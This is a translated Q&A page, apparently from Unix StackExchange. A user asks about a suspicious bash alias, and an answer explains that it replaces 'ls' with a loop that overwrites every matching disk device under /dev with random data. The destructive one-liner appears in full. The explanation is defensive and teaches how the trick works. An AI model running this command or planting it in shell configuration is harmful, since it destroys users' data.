Bash

這個命令的一些幫助,不知道它是做什麼的?

  • October 3, 2015

但我假設它是有害的

alias ls="for i in /dev/*da* ; do cat /dev/urandom &> ${i} & done

如果程式碼似乎遺漏/錯誤縮進,請修復它。

程式碼正確。它在 for 循環的末尾缺少一個右引號,這可能是有害的。讓我解釋一下。

alias命令是一個shell 公告。顧名思義,它將一個單詞別名為另一個命令。這本身並不是惡意或有害的。在大多數情況下,它非常有用,尤其是當您需要定期執行帶有多個標誌和參數的非常長的命令時。

使此命令可能有害的原因是兩種不同事物的組合。

  1. 別名將覆蓋現有命令。我在下面提供了一個範例:
-bash-3.2$ type ls
ls is hashed (/bin/ls)
-bash-3.2$ ls
file  file1  file2
-bash-3.2$ alias ls="echo this is a test"
-bash-3.2$ ls
this is a test
-bash-3.2$
  1. 當這個alias命令被正確執行時,它將ls用一個 for 循環覆蓋該命令,當執行時,它將用偽隨機數據覆蓋第一個辨識的硬碟驅動器中的第一個,然後繼續下一個。

為了嘗試分解這個 for 循環的工作原理,它首先在 /dev 中查找與萬用字元擴展匹配的任何設備塊*da*。IDE 驅動器使用h前綴,SATA 驅動器使用s前綴。在大多數帶有一個硬碟驅動器的現代電腦中,該硬碟驅動器的設備塊將是/dev/sda.

從那裡開始,各個分區都以數字為後綴(例如sda1sda2等)。一旦設備塊匹配,$i 的值將包含它的路徑。然後它將在後台執行將執行的命令cat /dev/urandom &> ${i} &,並將cat /dev/urandom它吐出的所有數據發送到 ${i} 的值,有效地用偽隨機數據覆蓋設備塊。

一旦第一個分區被填滿,cat命令將結束,for循環將再次執行,檢查下一個匹配的塊設備,用偽隨機數據覆蓋它,然後繼續下一個,直到沒有更多匹配的塊設備。

需要明確的是,這本身並無害。執行此alias命令後,您必須執行ls(以 root 身份執行 - 如果您不是 root 使用者,這將不起作用,因為您無法像任何其他使用者一樣將數據寫入設備塊)以造成任何損害。

視覺化這可能有多危險的一個好方法是執行bash -x. 當 shell 啟動時,會執行一堆系統和使用者特定的配置文件。對於 bash,常見的是/etc/bash_profile~/.bash_profile。通常,其中一個文件還有一個 if 語句來檢查~/.bashrc和獲取它(如果存在)。由於這僅在ls以 root 身份執行時才有效,因此該alias命令必須首先以 root 身份執行。對於要將其添加到其中任何一個文件的人,他們必須首先以某種方式獲得 root 訪問權限。

最後,我想指出,這是一個不切實際的擔憂,對於沒有 root 訪問權限的人來說,在電腦上實現這一目標是非常困難的。還有一些涉及較少的、同樣惡意的命令,它們也不需要對系統進行 root 訪問來執行。

引用自:https://unix.stackexchange.com/questions/233712